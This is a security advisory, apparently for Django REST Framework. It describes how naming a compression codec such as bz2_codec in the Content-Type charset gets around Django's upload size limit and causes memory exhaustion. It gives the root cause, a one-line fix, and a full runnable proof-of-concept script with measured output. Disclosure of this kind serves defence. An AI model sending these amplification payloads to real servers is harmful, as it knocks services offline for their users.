CVE-2026-114136

### Summary An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body. ### Details `JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type header: ```python # rest_framework/parsers.py encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET) try: decoded_stream = codecs.getreader(encoding)(stream) parse_constant = json.strict_constant if self.strict else None return json.load(decoded_stream, parse_constant=parse_constant) except ValueError as exc: raise ParseError('JSON parse error - %s' % str(exc)) ``` Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`, `uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending `Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor before `json.load` reads it. The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an `io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression happens afterwards, inside the parser, where nothing is counting. This is DRF's defect and not Django's. Django resolves the charset parameter and assigns `request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of `request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')` and `str(raw, 'bz2_codec')` raise `LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`. DRF is the only caller that hands the request stream to `codecs.getreader`. `FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named encoding but fail closed instead of amplifying. The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because `read()` decodes the whole stream, which is the same property that makes this expansion unbounded. No `_is_text_encoding` check has been added since. A one-line fix at `parsers.py:61-64`: ```python if not codecs.lookup(encoding)._is_text_encoding: raise ParseError('Unsupported charset in Content-Type') ``` ### PoC Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict. ```python #!/usr/bin/env python """ django-rest-framework: JSONParser applies an attacker-named codec to the request stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE. Four arms, each in a fresh subprocess because peak RSS is a high-water mark and measuring several arms in one process reports ~0 growth for every arm after the first. T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec C1 48 MiB plaintext, Content-Type: application/json (no charset) C2 the byte-identical T body, charset=utf-8 C3 zlib body, charset=zlib_codec The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the codec name and not the payload is what produces the expansion. Requires: django, djangorestframework importable. No arguments, nothing to edit. python poc_charset_amplification.py Exit status 0 means every arm behaved as described in the advisory. """ import hashlib import json import os import subprocess import sys import tempfile PAYLOAD_CHARS = 48 * 1024 * 1024 PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp") LIMIT = 65536 ARMS = { "T": ("bz2.bin", "application/json; charset=bz2_codec"), "C1": ("plain.bin", "application/json"), "C2": ("bz2.bin", "application/json; charset=utf-8"), "C3": ("zlib.bin", "application/json; charset=zlib_codec"), } EXPECTED = { "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes", "C1": "rejected with RequestDataTooBig, view body never runs", "C2": "HTTP 400 ParseError on the byte-identical compressed body", "C3": "HTTP 200, same expansion under a different codec name", } VIEW_RAN = [] def build_payloads(): import bz2 import zlib os.makedirs(PAYLOAD_DIR, exist_ok=True) plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}' blobs = { "plain.bin": plain, "bz2.bin": bz2.compress(plain, 9), "zlib.bin": zlib.compress(plain, 9), } for name, blob in blobs.items(): with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh: fh.write(blob) return {name: len(blob) for name, blob in blobs.items()} def configure_django(): from django.conf import settings settings.configure( DEBUG=False, ALLOWED_HOSTS=["testserver"], SECRET_KEY="poc", ROOT_URLCONF=__name__, MIDDLEWARE=[], INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "rest_framework", ], DATABASES={ "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"} }, DEFAULT_CHARSET="utf-8", DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT, LOGGING_CONFIG=None, USE_TZ=True, ) import django django.setup() def build_view(): from rest_framework.response import Response from rest_framework.views import APIView class Echo(APIView): authentication_classes = [] permission_classes = [] def post(self, request): data = request.data VIEW_RAN.append(True) value = data.get("a") if isinstance(data, dict) else None return Response( {"parsed_value_len": len(value) if isinstance(value, str) else None} ) return Echo def __getattr__(name): # ROOT_URLCONF points at this module; build urlpatterns lazily. if name == "urlpatterns": from django.urls import path value = [path("x", build_view().as_view())] globals()["urlpatterns"] = value return value raise AttributeError(name) def peak_rss_kib(): """Peak resident size of this process. /proc is used where available because ru_maxrss does not track the calling process on every kernel.""" try: with open("/proc/self/status") as fh: for line in fh: if line.startswith("VmHWM:"): return int(line.split(":")[1].strip().split()[0]) except OSError: pass import resource return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss def run_arm(arm): payload_name, content_type = ARMS[arm] with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh: body = fh.read() configure_django() from django.test import Client, RequestFactory client = Client(raise_request_exception=False) # Warm every lazily imported module so the delta measures the request only. client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json") VIEW_RAN.clear() before = peak_rss_kib() response = client.generic("POST", "/x", data=body, content_type=content_type) after = peak_rss_kib() parsed_len = None if response.status_code == 200: try: parsed_len = json.loads(response.content).get("parsed_value_len") except ValueError: pass # Second reading via a bare RequestFactory so the exception class is visible # directly instead of inferred from a status code. request = RequestFactory().generic( "POST", "/x", data=body, content_type=content_type ) try: direct = {"status_code": build_view().as_view()(request).status_code} except BaseException as exc: # noqa: BLE001 - naming the class is the point direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"} return { "arm": arm, "content_type": content_type, "transmitted_bytes": len(body), "body_sha256": hashlib.sha256(body).hexdigest(), "status_code": response.status_code, "view_body_executed": bool(VIEW_RAN), "parsed_value_len": parsed_len, "amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None, "peak_rss_delta_mib": round((after - before) / 1024.0, 1), "direct_dispatch": direct, } def check(arm, r): if arm in ("T", "C3"): return ( r["status_code"] == 200 and r["view_body_executed"] and r["parsed_value_len"] == PAYLOAD_CHARS and r["amplification_ratio"] >= 700 ) if arm == "C1": return ( r["status_code"] != 200 and not r["view_body_executed"] and r["direct_dispatch"].get("exception") == "django.core.exceptions.RequestDataTooBig" ) if arm == "C2": return r["status_code"] == 400 and not r["view_body_executed"] raise AssertionError(arm) def main(): if "--arm" in sys.argv: print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1]))) return 0 sizes = build_payloads() print(f"# payload sizes: {sizes}") print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}") print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n") ok = True results = {} for arm in ("T", "C1", "C2", "C3"): proc = subprocess.run( [sys.executable, os.path.abspath(__file__), "--arm", arm], capture_output=True, text=True, ) if proc.returncode != 0: print(f"{arm}: harness failed\n{proc.stderr}") return 2 r = json.loads(proc.stdout.strip().splitlines()[-1]) results[arm] = r passed = check(arm, r) ok = ok and passed print(f"=== {arm} [{'as described' if passed else 'NOT as described'}]") print(f" expected: {EXPECTED[arm]}") print(json.dumps(r, indent=6)) print() print("=== summary") for arm, r in results.items(): print( f" {arm:3} wire={r['transmitted_bytes']:>9}B status={r['status_code']} " f"parsed_len={r['parsed_value_len']} ratio={r['amplification_ratio']} " f"peak_rss_delta={r['peak_rss_delta_mib']} MiB view_ran={r['view_body_executed']}" ) print(f"\n T and C1 and C2: {'all held' if ok else 'NOT all held'}") return 0 if ok else 1 if __name__ == "__main__": sys.exit(main()) ``` Observed output, abbreviated to the summary block: ``` # payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941} # DATA_UPLOAD_MAX_MEMORY_SIZE = 65536 # JSON string value under test: 50331648 characters === summary T wire= 108B status=200 parsed_len=50331648 ratio=466033.8 peak_rss_delta=96.8 MiB view_ran=True C1 wire= 50331656B status=400 parsed_len=None ratio=None peak_rss_delta=48.3 MiB view_ran=False C2 wire= 108B status=400 parsed_len=None ratio=None peak_rss_delta=0.0 MiB view_ran=False C3 wire= 48941B status=200 parsed_len=50331648 ratio=1028.4 peak_rss_delta=95.2 MiB view_ran=True T and C1 and C2: all held ``` C1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and not an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the limit rejects it, which is client-side cost and never reaches the view. C2 carries most of the weight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few MiB between runs. Repeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x, with C1 and C2 both holding. One note if you re-implement the request yourself: use `Client.generic()` or `RequestFactory().generic()`. Both `Client.post()` and `RequestFactory.post()` push the body through `force_bytes(data, encoding=<charset>)` (`django/test/client.py:438-447`), which destroys a compressed payload before the parser sees it. ### Impact Unauthenticated denial of service through memory amplification, against any endpoint that accepts a JSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no application code or configuration choice opts into it. Memory is per-request and released afterwards, which is why this is rated on availability alone rather than as Critical, but the amplification factor means a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates hundreds of megabytes, and nothing in DRF or Django bounds the expanded size.